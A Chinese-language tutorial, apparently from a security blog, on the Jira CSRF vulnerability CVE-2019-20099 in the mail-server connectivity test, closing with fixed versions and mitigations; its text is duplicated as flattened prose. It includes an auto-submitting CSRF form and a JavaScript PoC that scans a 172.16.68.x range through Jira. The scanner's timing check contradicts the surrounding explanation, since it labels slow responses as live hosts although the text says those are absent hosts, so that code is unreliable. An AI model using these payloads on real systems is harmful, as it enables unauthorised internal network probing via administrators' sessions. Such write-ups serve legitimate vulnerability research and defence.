挖洞经验 | 利用Jira的邮件服务器连通测试功能发现其CSRF漏洞
字数 1402 2025-08-18 11:39:26

Jira CSRF漏洞分析与利用教学文档(CVE-2019-20099)

漏洞概述

本教学文档详细分析Atlassian Jira中存在的跨站请求伪造(CSRF)漏洞(CVE-2019-20099),该漏洞影响Jira Server和Data Center版本8.2.4至8.7.0。通过此漏洞,攻击者可诱使Jira服务端连接任意内部主机,实现内网探测等攻击。

漏洞背景

Jira的CSRF防护机制

Jira实施了以下CSRF防护措施:

  1. CSRF Token验证:使用HttpOnly Cookie存储CSRF token(Atlassian.xsrf.token
  2. 请求参数验证:检查atl_token参数与Cookie中的token是否匹配
  3. Referer头验证:验证请求来源与Jira服务端的域名和端口一致性

漏洞发现

研究人员发现Jira在邮件服务器连通性测试功能中,未严格执行上述防护措施,导致CSRF攻击可能。

漏洞详情

受影响功能

邮件服务器配置中的"测试连通性"功能存在缺陷:

  • 管理员配置POP3邮件服务器时需要填写:
    • 服务器名称
    • 主机地址(可指定内网IP)
    • 端口号
    • 用户凭据
  • 底部提供两个按钮:
    • 保存配置
    • 测试当前配置的连通性

漏洞原理

测试连通性请求存在以下问题:

  1. 缺少Referer头验证
  2. 不校验CSRF token参数
  3. 仅需有效管理员会话Cookie即可触发

漏洞利用

基本利用场景

攻击者可构造恶意页面,诱使已登录的管理员访问,导致:

  1. Jira服务端连接攻击者指定的内部主机
  2. 实现内网主机和端口探测

利用步骤

  1. 搭建测试环境

    • 内网POP3邮件服务器(接收Jira连接)
    • 内网Web服务器(托管CSRF攻击页面)
  2. 构造CSRF攻击脚本

<form action="http://jira-server/secure/admin/EmailAdminTestConnection.jspa" method="POST">
  <input type="hidden" name="serverType" value="POP3" />
  <input type="hidden" name="serverName" value="Attacker Server" />
  <input type="hidden" name="serverHostname" value="172.16.68.229" />
  <input type="hidden" name="serverPort" value="110" />
  <input type="hidden" name="username" value="attacker" />
  <input type="hidden" name="password" value="password" />
  <input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>
  1. 观察网络流量
    • 使用Wireshark捕获Jira服务端发起的连接
    • 验证是否连接到指定IP和端口

高级利用:内网主机探测

利用XMLHttpRequest的readyState变化检测主机存在性:

  1. readyState状态说明

    • 0: 请求未初始化
    • 1: 服务器连接已建立
    • 2: 请求已接收
    • 3: 处理请求中
    • 4: 请求已完成且响应就绪
  2. 探测原理

    • 存在的主机:连接快速失败(state变化快)
    • 不存在的主机:约3000毫秒超时
  3. PoC脚本示例

function scanHost(ip) {
  var start = new Date().getTime();
  var xhr = new XMLHttpRequest();
  
  xhr.onreadystatechange = function() {
    if(xhr.readyState == 4) {
      var elapsed = new Date().getTime() - start;
      if(elapsed > 3000) {
        console.log(ip + " - Host likely exists");
      } else {
        console.log(ip + " - Host likely does not exist");
      }
    }
  };
  
  xhr.open("POST", "http://jira-server/secure/admin/EmailAdminTestConnection.jspa", true);
  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  xhr.send("serverType=POP3&serverName=Test&serverHostname=" + ip + "&serverPort=110&username=test&password=test");
}

// 扫描内网IP段
for(var i=1; i<255; i++) {
  scanHost("172.16.68." + i);
}

验证与防御

漏洞验证方法

  1. 使用上述CSRF脚本测试邮件服务器连通性功能
  2. 观察是否无需有效CSRF token即可触发连接
  3. 检查Referer头是否未被验证

影响范围

  • 受影响版本:Jira Server和Data Center 8.2.4至8.7.0
  • 修复版本:8.7.1及以上

防御措施

  1. 升级Jira至最新版本
  2. 临时缓解
    • 限制管理员访问不受信任的网站
    • 实施严格的网络分段
    • 监控异常的内部连接尝试

技术总结

该漏洞利用Jira邮件服务器测试功能的CSRF防护缺失,具有以下特点:

  1. 可强制Jira服务端连接任意内部主机
  2. 可用于内网主机和端口扫描
  3. 攻击需要管理员会话Cookie(通过社会工程获取)
  4. 利用XMLHttpRequest状态变化实现主机探测

参考资源

  1. Atlassian安全公告
  2. Tenable研究报告
  3. FreeBuf漏洞分析文章

本教学文档详细阐述了CVE-2019-20099漏洞的技术细节和利用方法,仅供安全研究和防御参考,请勿用于非法用途。

Jira CSRF漏洞分析与利用教学文档(CVE-2019-20099) 漏洞概述 本教学文档详细分析Atlassian Jira中存在的跨站请求伪造(CSRF)漏洞(CVE-2019-20099),该漏洞影响Jira Server和Data Center版本8.2.4至8.7.0。通过此漏洞,攻击者可诱使Jira服务端连接任意内部主机,实现内网探测等攻击。 漏洞背景 Jira的CSRF防护机制 Jira实施了以下CSRF防护措施: CSRF Token验证 :使用HttpOnly Cookie存储CSRF token( Atlassian.xsrf.token ) 请求参数验证 :检查 atl_token 参数与Cookie中的token是否匹配 Referer头验证 :验证请求来源与Jira服务端的域名和端口一致性 漏洞发现 研究人员发现Jira在邮件服务器连通性测试功能中,未严格执行上述防护措施,导致CSRF攻击可能。 漏洞详情 受影响功能 邮件服务器配置 中的"测试连通性"功能存在缺陷: 管理员配置POP3邮件服务器时需要填写: 服务器名称 主机地址(可指定内网IP) 端口号 用户凭据 底部提供两个按钮: 保存配置 测试当前配置的连通性 漏洞原理 测试连通性请求存在以下问题: 缺少Referer头验证 不校验CSRF token参数 仅需有效管理员会话Cookie即可触发 漏洞利用 基本利用场景 攻击者可构造恶意页面,诱使已登录的管理员访问,导致: Jira服务端连接攻击者指定的内部主机 实现内网主机和端口探测 利用步骤 搭建测试环境 : 内网POP3邮件服务器(接收Jira连接) 内网Web服务器(托管CSRF攻击页面) 构造CSRF攻击脚本 : 观察网络流量 : 使用Wireshark捕获Jira服务端发起的连接 验证是否连接到指定IP和端口 高级利用:内网主机探测 利用XMLHttpRequest的readyState变化检测主机存在性: readyState状态说明 : 0: 请求未初始化 1: 服务器连接已建立 2: 请求已接收 3: 处理请求中 4: 请求已完成且响应就绪 探测原理 : 存在的主机:连接快速失败(state变化快) 不存在的主机:约3000毫秒超时 PoC脚本示例 : 验证与防御 漏洞验证方法 使用上述CSRF脚本测试邮件服务器连通性功能 观察是否无需有效CSRF token即可触发连接 检查Referer头是否未被验证 影响范围 受影响版本 :Jira Server和Data Center 8.2.4至8.7.0 修复版本 :8.7.1及以上 防御措施 升级Jira 至最新版本 临时缓解 : 限制管理员访问不受信任的网站 实施严格的网络分段 监控异常的内部连接尝试 技术总结 该漏洞利用Jira邮件服务器测试功能的CSRF防护缺失,具有以下特点: 可强制Jira服务端连接任意内部主机 可用于内网主机和端口扫描 攻击需要管理员会话Cookie(通过社会工程获取) 利用XMLHttpRequest状态变化实现主机探测 参考资源 Atlassian安全公告 Tenable研究报告 FreeBuf漏洞分析文章 本教学文档详细阐述了CVE-2019-20099漏洞的技术细节和利用方法,仅供安全研究和防御参考,请勿用于非法用途。